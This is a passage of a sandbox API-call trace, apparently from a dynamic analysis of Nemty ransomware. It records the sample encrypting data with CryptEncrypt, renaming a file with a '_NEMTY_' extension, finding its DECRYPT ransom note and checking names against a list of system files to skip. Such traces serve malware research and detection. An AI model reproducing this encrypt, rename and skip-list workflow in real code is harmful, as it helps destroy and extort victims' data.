WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0100.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94138 [0100.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b0 | out: hHeap=0x4f90000) returned 1 [0100.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941b0 [0100.669] Sleep (dwMilliseconds=0x5) [0100.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefa82ef0, dwHighDateTime=0x1d561e7)) [0100.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefa82ef0, dwHighDateTime=0x1d561e7)) [0100.680] GetLastError () returned 0x5 [0100.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.680] GetLastError () returned 0x5 [0100.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.681] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94228 [0100.681] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94228, pcchString=0x653ef9c | out: pszString="edDJI5Bgic41REIHq9fC+9GWn5GdxccOqEM973u+hqu5Dcr27QQLLavi8FKC5jfl\r\nbEVKM6d79YbEIf9FkmZNU2+Y/2KhDyBqtfLqmNhIiRYR971eZqYEqTNTBPeWQGqs\r\n9vlhA/WROOIXBwz4TdlzRxdtxhqvWqkWhLUwfYosCYzukPrdZK5goCzKZLX1uEe9\r\nCFg7P+gQQvaUMWi2Zl/zcmM7S9UnTRR5FAMQra8qTa9Z8TTjhZTleiRmldxDDp15\r\nLZoasiXXeOw7vZUc39qE3wR04GB441r4ReRoyapw+YRxGR/JTk5Gbmrg5tkpazAD\r\n5g000ErWjl+Q+rp+4DHSbA==\r\n", pcchString=0x653ef9c) returned 1 [0100.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94228 [0100.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.681] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.682] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.758] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.758] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94228, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.836] CloseHandle (hObject=0xffffffff) returned 0 [0100.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94398 [0100.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0100.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui._nemty_kgobjgd_")) returned 0 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b0 | out: hHeap=0x4f90000) returned 1 [0100.837] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2c6770, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2ec8d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0100.837] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0100.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0100.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0100.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0100.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0100.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0100.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0100.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0100.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0100.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.838] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2c6770, 